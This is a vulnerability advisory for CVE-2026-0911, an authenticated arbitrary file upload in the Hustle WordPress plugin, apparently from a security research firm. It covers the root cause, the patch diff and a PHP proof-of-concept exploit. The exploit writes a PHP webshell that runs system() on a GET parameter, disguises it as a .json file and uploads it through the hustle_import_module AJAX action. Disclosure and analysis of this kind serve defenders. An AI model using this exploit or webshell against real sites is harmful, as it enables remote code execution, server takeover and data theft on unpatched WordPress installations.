Atomic Edge analysis of CVE-2026-0911:
This vulnerability is an authenticated arbitrary file upload in the Hustle WordPress plugin. The flaw resides in the module import functionality, allowing users with subscriber-level access or higher to upload arbitrary files, potentially leading to remote code execution. The vulnerability has a CVSS score of 7.5.
The root cause is a combination of improper capability checks and disabled file type validation in the `action_import_module()` function within `/inc/hustle-modules-common-admin-ajax.php`. The original code at line 371 incorrectly checked `! $is_new_module && ! current_user_can( ‘hustle_create’ )`, which could allow unauthorized users to import into existing modules. Furthermore, the `wp_handle_upload` call at line 420 used `’test_type’ => false`, which disabled MIME type verification. This allowed non-JSON file uploads.
Exploitation requires an authenticated attacker with at least Subscriber-level access. The attacker must first be granted Hustle module permissions by an administrator. They then send a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `hustle_import_module`. The request must include a valid nonce (obtained from the Hustle admin page) and a multipart file upload for the `import_file` parameter. The payload is a malicious file, such as a PHP webshell, disguised with a `.json` extension or other bypass techniques.
The patch addresses both the authorization and validation flaws. In `hustle-modules-common-admin-ajax.php`, line 371 is corrected to `if ( $is_new_module && ! Opt_In_Utils::is_user_allowed( ‘hustle_create’ ) )`, properly restricting creation permissions. The `’test_type’` parameter for `wp_handle_upload` is changed from `false` to `true` at line 421, re-enabling MIME checks. A temporary filter is added to allow only `application/json` MIME types during the upload process, which is removed immediately after.
Successful exploitation leads to arbitrary file upload to the WordPress server’s upload directory. An attacker can upload executable scripts like PHP webshells, resulting in full remote code execution. This compromises the hosting server, allowing data theft, site defacement, and further network penetration. The requirement for a user to have module permissions, while a partial barrier, is a privilege often granted in multi-author environments.
--- a/wordpress-popup/inc/hustle-modules-common-admin-ajax.php
+++ b/wordpress-popup/inc/hustle-modules-common-admin-ajax.php
@@ -371,7 +371,7 @@
$is_new_module = is_wp_error( $module );
- if ( ! $is_new_module && ! current_user_can( 'hustle_create' ) ) {
+ if ( $is_new_module && ! Opt_In_Utils::is_user_allowed( 'hustle_create' ) ) {
throw new Exception( 'invalid_permissions' );
}
@@ -407,13 +407,24 @@
throw new Exception( sprintf( __( 'Error: %s', 'hustle' ), esc_html( $file['error'] ) ) );
}
+ // Temporarily allow JSON file uploads.
+ $json_mime_filter = function ( $mimes ) {
+ $mimes['json'] = 'application/json';
+ return $mimes;
+ };
+
+ add_filter( 'upload_mimes', $json_mime_filter );
// Get the file's content.
$overrides = array(
'test_form' => false,
- 'test_type' => false,
+ 'test_type' => true,
);
$wp_file = wp_handle_upload( $file, $overrides );
+
+ // Remove the filter after validation.
+ remove_filter( 'upload_mimes', $json_mime_filter );
+
if ( isset( $wp_file['error'] ) ) {
throw new Exception( __( 'The file could not be uploaded.check your upload folder permissions.', 'hustle' ) );
}
--- a/wordpress-popup/popover.php
+++ b/wordpress-popup/popover.php
@@ -10,7 +10,7 @@
* Plugin Name: Hustle
* Plugin URI: https://wordpress.org/plugins/wordpress-popup/
* Description: Start collecting email addresses and quickly grow your mailing list with big bold pop-ups, slide-ins, widgets, or in post opt-in forms.
- * Version: 7.8.9.2
+ * Version: 7.8.9.3
* Author: WPMU DEV
* Author URI: https://wpmudev.com
* Tested up to: 6.8
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0911 - Hustle <= 7.8.9.2 - Authenticated (Subscriber+) Arbitrary File Upload via Module Import
<?php
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber';
$password = 'password';
// Step 1: Authenticate to WordPress and obtain cookies and nonce.
// This script assumes the attacker has a valid username/password and has been granted Hustle module permissions.
// The nonce must be scraped from the Hustle admin page (e.g., /wp-admin/admin.php?page=hustle).
// For demonstration, we set them as variables.
$nonce = 'YOUR_VALID_NONCE_HERE';
// Step 2: Prepare the malicious file upload.
// Create a temporary file with a .json extension but PHP content.
$malicious_content = '<?php echo "Atomic Edge Test"; if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>';
$tmp_file_path = tempnam(sys_get_temp_dir(), 'hustle_');
$upload_file_path = $tmp_file_path . '.json';
rename($tmp_file_path, $upload_file_path);
file_put_contents($upload_file_path, $malicious_content);
// Step 3: Build the multipart form data for the exploit request.
$post_fields = [
'action' => 'hustle_import_module',
'nonce' => $nonce,
// The 'import_file' parameter expects a file upload.
];
$file_upload = new CURLFile($upload_file_path, 'application/json', 'exploit.json');
$post_fields['import_file'] = $file_upload;
// Step 4: Initialize cURL and send the exploit request.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Include authentication cookies if you have a session.
// curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_logged_in_xxx=...');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Step 5: Clean up and output result.
unlink($upload_file_path);
echo "HTTP Code: $http_coden";
echo "Response: $responsen";
// If successful, the response may contain a JSON object with a file URL.
// The uploaded file will be in the uploads directory, potentially with a randomized name.
?>